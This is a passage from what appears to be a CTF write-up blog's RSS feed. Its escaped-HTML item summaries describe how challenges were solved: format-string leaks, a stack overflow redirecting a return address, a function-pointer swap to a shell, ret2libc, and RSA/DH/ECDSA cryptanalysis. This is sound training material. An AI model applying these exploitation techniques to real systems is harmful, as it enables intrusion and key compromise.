&lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;strings.py&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;One connection per index, &lt;code&gt;%&amp;lt;i&amp;gt;$128s&lt;/code&gt; to treat that slot as a pointer and print it as a string&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;probe.py&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Ad-hoc connection for sending arbitrary test inputs against the &lt;code&gt;&amp;gt; &lt;/code&gt; prompt&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;h2 id="service-behaviour"&gt;&#10; &lt;a href="#service-behaviour" class="md-heading-anchor"&gt;&#10; Service Behaviour&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The target prints a banner and loops on a &lt;code&gt;&amp;gt; &lt;/code&gt; prompt, echoing processed input. The prompt-based read loop in &lt;code&gt;probe.py&lt;/code&gt; waits for output ending in &lt;code&gt;&amp;gt; &lt;/code&gt;:&lt;/p&gt;</description></item><item><title>Mirror</title><link>https://hotwater-online.xyz/writeups/lunar/mirror/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/lunar/mirror/</guid><description>&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;mirror&lt;/code&gt; is a pwn challenge shipped as a PIE x86-64 ELF served over socat (&lt;code&gt;handout/mirror/&lt;/code&gt; Dockerfile &lt;code&gt;EXPOSE 1337&lt;/code&gt;). The binary stores records in a global session structure with two record formats (V1 &amp;quot;telemetry&amp;quot; and a V2 masked/legacy layout), and the interplay of a legacy copy source mismatch lets you leak a masked code pointer — then the running session token, XORed onto that pointer value, is used to swap a function pointer for the &lt;code&gt;admin_rescue_shell&lt;/code&gt; symbol. All mechanics below are taken from the provided &lt;code&gt;solve.py&lt;/code&gt;; no binary analysis beyond the symbols it touches is needed.&lt;/p&gt;</description></item><item><title>Monodromy</title><link>https://hotwater-online.xyz/writeups/isfcr/mono/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/mono/</guid><description>&lt;p&gt;Monodromy (ISFCR CTF 2026) hands you a &lt;code&gt;MONOVM3&lt;/code&gt; capsule, two 8x8 matrices, and a stripped ELF that demands &amp;quot;the lost rotation index&amp;quot; before it will say anything useful. The rotation index is a discrete logarithm in a ~2^49 subgroup, and the capsule's Argon2id-hardened seal only opens once that index is known. I recovered it with a parallel Pollard-rho solver in C, then opened the seal with a Python script.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;Artifact&lt;/th&gt;&#10; &lt;th&gt;Role&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;monodromy&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Stripped x86-64 binary; validates the rotation index and its instrument tape&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;capsule.bin&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;22 MB &lt;code&gt;MONOVM3&lt;/code&gt; capsule: header, 57-byte ChaCha20-Poly1305 seal, instrument tape&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;m0.bin&lt;/code&gt;, &lt;code&gt;m1.bin&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Two 8x8 matrices of 128-bit little-endian values (1024 bytes each); &lt;code&gt;M1 = M0^x&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;solve.c&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;OpenMP parallel Pollard rho over GF(p²) to recover the rotation index&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;seal.py&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Turns the index into the work seed and decrypts the flag seal&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;h2 id="capsule-layout"&gt;&#10; &lt;a href="#capsule-layout" class="md-heading-anchor"&gt;&#10; Capsule Layout&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;seal.py&lt;/code&gt;'s &lt;code&gt;parse&lt;/code&gt; function defines the header. The magic is &lt;code&gt;MONOVM3\0&lt;/code&gt;, then little-endian fields, then the seal, then the tape:&lt;/p&gt;</description></item><item><title>Neve</title><link>https://hotwater-online.xyz/writeups/isfcr/neve/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/neve/</guid><description>&lt;p&gt;Neve (ISFCR CTF 2026) is a noisy-channel statistical inference challenge against the SHARD-24's NEVE sounding head: you hand it symbols 0–15 and it answers with a single biased bit, the bias being a per-cell calibration grade that you must infer. The deliverable in the field challenge is the AES-256-GCM recovery bundle, whose key is just HKDF-SHA256 over all 512 grades — so the whole exploit reduces to reconstructing the calibration table within a fixed sounding budget.&lt;/p&gt;</description></item><item><title>Nostalgia</title><link>https://hotwater-online.xyz/writeups/nns/nostalgia/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/nns/nostalgia/</guid><description>&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;crypto_nostalgia&lt;/code&gt; is a brute-force-the-seed crypto challenge. The handout &lt;code&gt;chall.py&lt;/code&gt; generates the AES-256 key from an LCG run 1337 times over a &amp;quot;nanosecond precision&amp;quot; time seed — but since Python's &lt;code&gt;time.time()&lt;/code&gt; returns whole seconds as a float, the effective seed space collapses enough to enumerate. Two independent solvers exist: a Python window search (&lt;code&gt;solve.py&lt;/code&gt;) around the current time, and an OpenMP C program (&lt;code&gt;solve.c&lt;/code&gt;) that reduces the whole 1337-iteration loop to a single affine map and sweeps all 2^32 seeds.&lt;/p&gt;</description></item><item><title>Paleter</title><link>https://hotwater-online.xyz/writeups/xploit/paleter/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/paleter/</guid><description>&lt;p&gt;A palette-swap stego challenge: an ordinary PNG whose hidden content lives in the &lt;strong&gt;PLTE chunk&lt;/strong&gt;. The provided &lt;code&gt;palet.py&lt;/code&gt; rewrites the palette so exactly one palette index is white and the rest are black; by cycling that index across all 256 values, you recover whichever palette entry the image data actually uses to draw the secret.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;atlas.png&lt;/code&gt; — the carrier image&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;palet.py&lt;/code&gt; — palette-swap utility&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;(extracted)&lt;/code&gt; &lt;code&gt;XploitX_Stego02_Participants/&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The script walks the PNG chunk stream, finds &lt;code&gt;PLTE&lt;/code&gt;, and rebuilds the palette bytes:&lt;/p&gt;</description></item><item><title>Partial Exposure</title><link>https://hotwater-online.xyz/writeups/xploit/partial-exposure/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/partial-exposure/</guid><description>&lt;p&gt;RSA where the &lt;strong&gt;most significant bits of one prime&lt;/strong&gt; are leaked — enough that &lt;code&gt;p&lt;/code&gt; splits into a known high part and an unknown low part of manageable size. Coppersmith / Howgrave-Graham (univariate) recovers the rest and the modulus factors.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;public.txt&lt;/code&gt; — &lt;code&gt;N&lt;/code&gt;, &lt;code&gt;e&lt;/code&gt;, &lt;code&gt;c&lt;/code&gt;, &lt;code&gt;p_high&lt;/code&gt;, &lt;code&gt;known_bits&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve.sage&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;README.md&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Write &lt;code&gt;p = p₀ + x&lt;/code&gt;, where &lt;code&gt;p₀ = p_high · 2^shift&lt;/code&gt; is the known part and &lt;code&gt;x &amp;lt; X = 2^shift&lt;/code&gt; is unknown. Since &lt;code&gt;p | N&lt;/code&gt;, the polynomial&lt;/p&gt;</description></item><item><title>PerpGuard — Solana Compute-Unit Exhaustion via a Player CPI Program</title><link>https://hotwater-online.xyz/writeups/h7ctf/perpguard-solana-compute-unit-exhaustion-via-a-player-cpi-program/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/perpguard-solana-compute-unit-exhaustion-via-a-player-cpi-program/</guid><description>&lt;p&gt;For H7CTF 2026 this Solana challenge (&amp;quot;perp_guard&amp;quot;, target program &lt;code&gt;perp_guard_solve&lt;/code&gt;) is about &lt;em&gt;draining a transaction's compute budget&lt;/em&gt; through a crafted cross-program invocation, on a harness that lets you replay your own compiled BPF program side by side with the real target. The target binary I compiled is &lt;code&gt;target/deploy/perp_guard_solve.so&lt;/code&gt; at the deployed pubkey &lt;code&gt;GvUAk6t9VipHHXtR28TjUGLNuL3yVHj1WjgW9aMQRGm7&lt;/code&gt;.&lt;/p&gt;&#10;&lt;h2 id="the-harness-protocol"&gt;&#10; &lt;a href="#the-harness-protocol" class="md-heading-anchor"&gt;&#10; The harness protocol&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;solve.py&lt;/code&gt; speaks a line-based socket protocol:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Upload your program: reply to &lt;code&gt;program pubkey:&lt;/code&gt; with the pubkey, then to &lt;code&gt;program len:&lt;/code&gt; with the byte length, then the bytes of the &lt;code&gt;.so&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;The harness prints a banner with the real &lt;code&gt;program:&lt;/code&gt;, &lt;code&gt;user:&lt;/code&gt;, &lt;code&gt;market:&lt;/code&gt;, &lt;code&gt;obligation:&lt;/code&gt; pubkeys.&lt;/li&gt;&#10;&lt;li&gt;It then asks &lt;code&gt;num accounts:&lt;/code&gt; — and this repeats &lt;em&gt;per instruction round&lt;/em&gt;, with a total of 256 rounds streamed in one batch (&lt;code&gt;for round_number in range(1, 257)&lt;/code&gt;).&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;Each round's instruction is submitted as &lt;code&gt;4\n&lt;/code&gt; followed by one account per line, flagged &lt;code&gt;r&lt;/code&gt;/&lt;code&gt;w&lt;/code&gt;/&lt;code&gt;s&lt;/code&gt; just like the Solana &lt;code&gt;AccountMeta&lt;/code&gt; model:&lt;/p&gt;</description></item><item><title>Phantom Eclipse</title><link>https://hotwater-online.xyz/writeups/lunar/phantom-eclipse/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/lunar/phantom-eclipse/</guid><description>&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The &lt;code&gt;phantom_eclipse&lt;/code&gt; forensics challenge ships an evidence bundle (&lt;code&gt;evidence/&lt;/code&gt;): a &lt;code&gt;.ECL&lt;/code&gt; container (&lt;code&gt;artifact.dat&lt;/code&gt;) of fourteen &lt;code&gt;sec_NNNN&lt;/code&gt; sections, a &lt;code&gt;notes.jpg&lt;/code&gt;, a &lt;code&gt;suspicious_image.png&lt;/code&gt; carrying steganographic payloads, a &lt;code&gt;capture.pcap&lt;/code&gt;, &lt;code&gt;access.log&lt;/code&gt;/&lt;code&gt;system.log&lt;/code&gt;, a 4 MiB memory dump, and a 129-byte &lt;code&gt;ECLBAK01&lt;/code&gt; encrypted backup. The recovered key is spread across five independently encoded pieces (Base32/Base85/hex literals plus a PNG-adjacent lane, and a sixth 64-byte piece embedded right after the backup header), and the scripts attempt both a raw XOR reconstruction and an AES-256-XTS decryption matrix. No script in the folder records a recovered flag string.&lt;/p&gt;</description></item><item><title>Pset1</title><link>https://hotwater-online.xyz/writeups/nns/pset1/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/nns/pset1/</guid><description>&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;pset1&lt;/code&gt; is an introductory stack overflow NNS CTF pwn challenge. The &lt;code&gt;handout/solve.py&lt;/code&gt; captures the whole exploit in 12 lines: the target binary's input handler overflows a stack buffer, and after 72 bytes of padding the saved return address at &lt;code&gt;rsp+72&lt;/code&gt; is overwritten with a hardcoded address &lt;code&gt;0x401b00&lt;/code&gt; — the byte you need to redirect execution to (the challenge's win path, inferred from the non-PIE address that is the sole constant in the script).&lt;/p&gt;</description></item><item><title>Related Messages</title><link>https://hotwater-online.xyz/writeups/xploit/related-messages/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/related-messages/</guid><description>&lt;p&gt;Franklin-Reiter related-message attack: two plaintexts encrypted with the same RSA key (&lt;code&gt;N, e = 3&lt;/code&gt;), where &lt;code&gt;m₂ = m₁ + α&lt;/code&gt; for a known constant &lt;code&gt;α&lt;/code&gt;. Two polynomial relations mod &lt;code&gt;N&lt;/code&gt; with a known difference have a common root, and a polynomial GCD recovers it.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;public.txt&lt;/code&gt; — &lt;code&gt;N&lt;/code&gt;, &lt;code&gt;e&lt;/code&gt;, &lt;code&gt;c₁&lt;/code&gt;, &lt;code&gt;c₂&lt;/code&gt;, &lt;code&gt;alpha&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve.py&lt;/code&gt; (pure Python), &lt;code&gt;solve.sage&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;README.md&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;We know:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;f₁(x) = x^e - c₁ ≡ 0 (mod N)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;f₂(x) = (x + α)^e - c₂ ≡ 0 (mod N)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Both vanish at &lt;code&gt;x = m₁&lt;/code&gt;. Their &lt;strong&gt;monic GCD&lt;/strong&gt; over &lt;code&gt;Z/NZ[x]&lt;/code&gt; is then the linear factor &lt;code&gt;x - m₁&lt;/code&gt;, provided &lt;code&gt;e&lt;/code&gt; is small (here 3) and the polynomials share exactly one root. The Sage one-liner:&lt;/p&gt;</description></item><item><title>Route 666</title><link>https://hotwater-online.xyz/writeups/xploit/route-666/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/route-666/</guid><description>&lt;p&gt;An insane-tier core-backbone incident: BGP route flapping between two peers on a transit edge gateway, with a hidden exfiltration target. The core trick is reconstructing &lt;strong&gt;route flap damping&lt;/strong&gt; windows from announce/withdraw events in the capture.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;extracted/route_666_mirror.pcap&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;CASE_BRIEF.txt&lt;/code&gt;, &lt;code&gt;bgp_looking_glass.txt&lt;/code&gt;, &lt;code&gt;arp_transit_cache.txt&lt;/code&gt;, &lt;code&gt;ip_route_fib.txt&lt;/code&gt;, &lt;code&gt;cisco_xr_core_dump.txt&lt;/code&gt;, &lt;code&gt;junos_rfd_audit.txt&lt;/code&gt;, &lt;code&gt;snmp_traps.log&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;extracted/solve.py&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Two peers announce the same prefix:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;A = 10.0.12.2&lt;/code&gt; — announces, withdraws, re-announces repeatedly&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;B = 10.0.13.2&lt;/code&gt; — same pattern on a different timer&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;BGP route-flap damping &lt;strong&gt;suppresses&lt;/strong&gt; a route once its exponentially-decayed penalty exceeds a threshold, then &lt;strong&gt;reuses&lt;/strong&gt; it when the penalty decays below a lower threshold. With a 30-second half-life:&lt;/p&gt;</description></item><item><title>Shattered Oracle</title><link>https://hotwater-online.xyz/writeups/lunar/writeup-ecdsa-hnp/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/lunar/writeup-ecdsa-hnp/</guid><description>&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Lunar CTF's &lt;code&gt;SHATTERED ORACLE&lt;/code&gt; is a multi-stage crypto chain. The handout publishes 12 secp256k1 signatures whose nonces leak 40 bits (MSB- or LSB-truncated), a transcript of HMAC-SHA256-attested fragments keyed by a secret derived from the signing key, Shamir pieces over a Mersenne-prime field, and an HKDF+ChaCha20-protected archive (&lt;code&gt;payload.bin&lt;/code&gt;). The scripts in this folder — spread across both the outer directory and its &lt;code&gt;crypto/&lt;/code&gt; working subdir — are all iterations on one and the same challenge, so they are documented here together.&lt;/p&gt;</description></item><item><title>Slow Motion</title><link>https://hotwater-online.xyz/writeups/xploit/slow-motion/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/slow-motion/</guid><description>&lt;p&gt;A looping loading animation left running on a harbour crane control panel — a GIF that never finishes. The hidden message is carried in the least-significant bits of the &lt;strong&gt;red channel&lt;/strong&gt;, sampled row-wise across every frame.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;slow_motion.gif&lt;/code&gt; — the animation&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;challenge04_slow_motion_README.md&lt;/code&gt; — brief&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;hotwa-solve/solve.py&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;GIF frames are palettised; after converting each frame to RGB, the red channel's LSB looks like noise to the eye but survives the palette quantisation applied by the challenge author. The trick is &lt;em&gt;where&lt;/em&gt; to sample: only the first row of each frame (&lt;code&gt;y = 0&lt;/code&gt;), iterating &lt;code&gt;x&lt;/code&gt; across the width, frame after frame.&lt;/p&gt;</description></item><item><title>Small Private</title><link>https://hotwater-online.xyz/writeups/xploit/small-private/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/small-private/</guid><description>&lt;p&gt;An RSA key with a deliberately tiny private exponent &lt;code&gt;d&lt;/code&gt; — small enough that &lt;strong&gt;Wiener's attack&lt;/strong&gt; recovers it from the public key alone. The modulus, exponent and ciphertext are all that's needed.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;public.txt&lt;/code&gt; — &lt;code&gt;N&lt;/code&gt;, &lt;code&gt;e&lt;/code&gt;, &lt;code&gt;c&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve.py&lt;/code&gt;, &lt;code&gt;solve.sage&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;README.md&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Wiener's theorem: if &lt;code&gt;d &amp;lt; N^0.25 / 3&lt;/code&gt;, then &lt;code&gt;d&lt;/code&gt; appears as a &lt;strong&gt;convergent&lt;/strong&gt; of the continued fraction expansion of &lt;code&gt;e/N&lt;/code&gt;. Because&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;e·d - k·φ(N) = 1 ⇒ e/φ(N) ≈ k/d&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;and &lt;code&gt;φ(N) ≈ N&lt;/code&gt;, the fraction &lt;code&gt;k/d&lt;/code&gt; is a good rational approximation to &lt;code&gt;e/N&lt;/code&gt;, so it shows up among the convergents.&lt;/p&gt;</description></item><item><title>Smooth DH</title><link>https://hotwater-online.xyz/writeups/xploit/smooth-dh/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/smooth-dh/</guid><description>&lt;p&gt;A Diffie-Hellman instance with &lt;code&gt;p = 1870283325551092163712001&lt;/code&gt; — suspiciously small, and, as it turns out, with a fully smooth &lt;code&gt;p - 1&lt;/code&gt;. The private exponent is recovered from the public key by a plain discrete log in a group whose order factors into small primes.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;public.txt&lt;/code&gt; — &lt;code&gt;p&lt;/code&gt;, &lt;code&gt;g = 2048&lt;/code&gt;, &lt;code&gt;A = g^d mod p&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;README.md&lt;/code&gt;, &lt;code&gt;solve.py&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;p&lt;/code&gt; is only ~81 bits. Even without smoothness, Pollard rho would finish quickly at that size, but &lt;code&gt;p - 1&lt;/code&gt; factoring into small primes makes &lt;strong&gt;Pohlig-Hellman&lt;/strong&gt; essentially instant. The script leans on sympy:&lt;/p&gt;</description></item><item><title>Solana Swap Emulator: SwapAToB Account Puzzle</title><link>https://hotwater-online.xyz/writeups/h7ctf/solana-swap-emulator-swapatob-account-puzzle/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/solana-swap-emulator-swapatob-account-puzzle/</guid><description>&lt;p&gt;For H7CTF 2026 the AI-category target here is a toy Solana SPL swap program. A raw-socket harness drives a self-contained re-implementation of the program loader, and solving it is: submit one correct account list for the swap instruction, encoded exactly how a real Solana runtime would need it.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;lib.rs&lt;/code&gt; - the on-chain program. Borsh-defined &lt;code&gt;Pool&lt;/code&gt; account plus an &lt;code&gt;InitPool&lt;/code&gt;/&lt;code&gt;SwapAToB&lt;/code&gt;/&lt;code&gt;SwapBToA&lt;/code&gt; instruction enum.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve.py&lt;/code&gt; - the driver. Opens a socket, parses the banner into address/value names, submits accounts then a Borsh-encoded instruction.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The target program's &lt;code&gt;lib.rs&lt;/code&gt; is a small AMM skeleton with no real pricing. The interesting piece is the direction check inside &lt;code&gt;swap&lt;/code&gt;:&lt;/p&gt;</description></item><item><title>Sparrow Freight Dispatch — Stack Overflow to ret2libc</title><link>https://hotwater-online.xyz/writeups/h7ctf/sparrow-freight-dispatch-stack-overflow-to-ret2libc/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/sparrow-freight-dispatch-stack-overflow-to-ret2libc/</guid><description>&lt;p&gt;This challenge's binary is &lt;code&gt;dispatch&lt;/code&gt;; the banner inside it is what names it. H7CTF 2026's &lt;code&gt;pwn&lt;/code&gt; track artifacts for the challenge are titled &lt;code&gt;dispatch.zip&lt;/code&gt;, and the feedback terminal's prompt 